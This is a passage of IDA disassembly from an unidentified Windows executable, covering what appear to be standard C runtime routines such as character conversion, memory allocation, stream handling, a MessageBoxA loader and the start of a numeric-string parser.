loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	dword_48A0A8, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax


loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420EDC:				; CODE XREF: sub_420E98+2Fj
		mov	ecx, off_4395A0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, dword_4397AC
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 2610000h
		test	eax, eax
		mov	eax, dword_4397AC
		jnz	short loc_420EBD


loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD


loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
sub_420E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB


loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax


loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax


loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: ___:0041F15Ap

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_48B561[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, word_4395AA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------


loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax


loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------


loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_48A2DC, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26D0C95h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, dword_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_48A2DC, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_48A2E0, eax
		call	esi
		mov	dword_48A2E4, eax


loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, dword_48A2E0
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, dword_48A2E4
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax


loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_48A2DC


loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi


loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_48B680
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------


loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, dword_43B7E4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192


loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	dword_48B684
		nop
		call	near ptr 26F0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C


loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	dword_48A074, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------


loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]


loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi


loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------


loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7


loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_48B320, esi
		jle	short loc_4211EC


loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi


loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, dword_48A310
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, dword_48A310
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_4211A8


loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_48B440
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi


loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------


loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	dword_48A018, 5
		jnz	short loc_4212C3
		mov	dword_48A014, 0Dh


loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh


loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------


loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25A0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	dword_48A014, 0Dh
		call	near ptr 2630313h
		nop
		mov	dword_48A018, eax


loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------


loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	dword_48A014, 9


loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh


loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350


loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax


loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]


loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]


loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax


loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi


loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------


loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h


loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------


loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C


loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------


loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi


loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump


loc_421542:				; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553


loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------


loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, byte_4397B0
		jnz	short loc_421562


loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------


loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421588:				; CODE XREF: sub_4214D8+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C


loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, byte_4397B0
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B


loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B


loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C


loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, byte_4397B0
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0


loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3


loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	dword_4397AC, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------


loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------


loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]


loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------


loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, byte_4397B0
		jnz	short loc_4216CD


loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686


loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------


loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	dword_4397AC, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------


loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4216C8:				; CODE XREF: sub_4214D8+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421686
; ---------------------------------------------------------------------------


loc_4216CD:				; CODE XREF: sub_4214D8+18Cj
					; sub_4214D8+1D7j
		cmp	bl, 2Bh
		jz	loc_4215E0
		cmp	bl, 2Dh
		jz	loc_4215E0
		jmp	loc_4215B9
; ---------------------------------------------------------------------------


loc_4216E4:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	dword_4397AC, edx ; jumptable 0042153B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421700
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42170E
; ---------------------------------------------------------------------------


loc_421700:				; CODE XREF: sub_4214D8+215j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42170E:				; CODE XREF: sub_4214D8+226j
		test	eax, eax
		jz	loc_4217C0
		mov	eax, esi
		jmp	short loc_421771
; ---------------------------------------------------------------------------


loc_42171A:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		lea	ecx, [edi-2]	; jumptable 0042153B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42172A
		cmp	bl, 39h
		jle	short loc_42176E


loc_42172A:				; CODE XREF: sub_4214D8+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4217A6
		dec	eax
